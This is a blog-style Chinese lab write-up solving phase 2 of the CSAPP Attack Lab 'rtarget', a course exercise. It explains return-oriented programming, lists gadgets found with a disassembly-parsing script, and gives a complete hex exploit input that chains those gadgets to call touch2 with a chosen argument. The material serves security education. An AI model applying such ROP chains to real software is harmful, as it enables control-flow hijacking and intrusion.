attack lab rtarget 1
本文中全部代码都可以在我的 GitHub https://github.com/gwy15/csapp-lab 中找到。
rtarget
跟 ctarget
相比,难度提高了不少:
- 使用了栈随机化,导致无法确定溢出区的地址,插入代码也无法确定跳转地址。
- 标记栈区域的内存为“不可执行”,从而避免了执行插入缓存区的代码。
但是即使这样,缓冲区溢出依然具有被攻击的可能性。
攻击方法
如果我们找到几段内存中的代码,使其具有像这样的格式:
addr1:
<instructions...>
ret
addr2:
<instructions...>
ret
...
那么,如果我们使得缓冲区覆盖的区域有这样的结构:
由于 ret
指令基本上等价于 popq $rip
,所以在跳转到 addr1
后,控制权依然会被交还到恶意代码手上,继续跳转到 addr2
执行,直到最后跳转到 target_addr
。
再加上 x86 并不要求指令对齐,因此我们甚至可以跳转到一条指令的中间,将其解释为另一条指令。譬如,对于指令 mov $0xc3905829,%eax
,其对应二进制 b8 29 58 90 c3
,如果指令从 58 90 c3
开始解释,就会解释为 popq %rax; nop; ret;
。注意最后的 c3
,其充当了 ret
的语句,这甚至允许我们不从原本 ret
语句返回。
lab 目标和实现
rtarget
的第一二个目标与 ctarget
都相同。第一个自然与 ctarget
一模一样,这里重点说说第二个。第二个目标我们依然需要带参数($rdi=0x59b997fa
)调用 touch2
函数。跳转到 touch2
的地址是简单的,重点是如何在不插入代码的情况下给 rdi
寄存器赋值。
lab 要求我们使用 start_farm
到 mid_farm
之间的函数实现这个功能。我写了一个 python 脚本,其可以解析 objdump
反汇编出来的汇编代码,并从中尝试找到可以利用的代码片段( gadget )。运行结果如下:
00000000004019a0 <addval_273>
4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax
4019a6: c3 retq
!! exploitable address found!:
!! from addr 0x4019a2: 48 89 c7 c3
movq %rax, %rdi
<ret>
00000000004019a7 <addval_219>
4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax
4019ad: c3 retq
!! exploitable address found!:
!! from addr 0x4019ab: 58 90
popq %rax
<ret>
00000000004019c3 <setval_426>
4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi)
4019c9: c3 retq
!! exploitable address found!:
!! from addr 0x4019c5: 48 89 c7 90
movq %rax, %rdi
<ret>
00000000004019ca <getval_280>
4019ca: b8 29 58 90 c3 mov $0xc3905829,%eax
4019cf: c3 retq
!! exploitable address found!:
!! from addr 0x4019cc: 58 90 c3
popq %rax
<ret>
可以看到,这 8 个函数中有四个存在 gadgets,对应两条指令:
popq %rax
movq %rax %rdi
通过这两条语句,我们就可以完成 rtarget
。
使缓冲区溢出以后的栈如下:
输入文件:
00 00 00 00 00 00 00 00 /* paddings */
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ab 19 40 00 00 00 00 00 /* address to "pop rax" */
fa 97 b9 59 00 00 00 00 /* value poped to rax */
a2 19 40 00 00 00 00 00 /* address to "movq rax, rdi */
ec 17 40 00 00 00 00 00 /* touch2 address */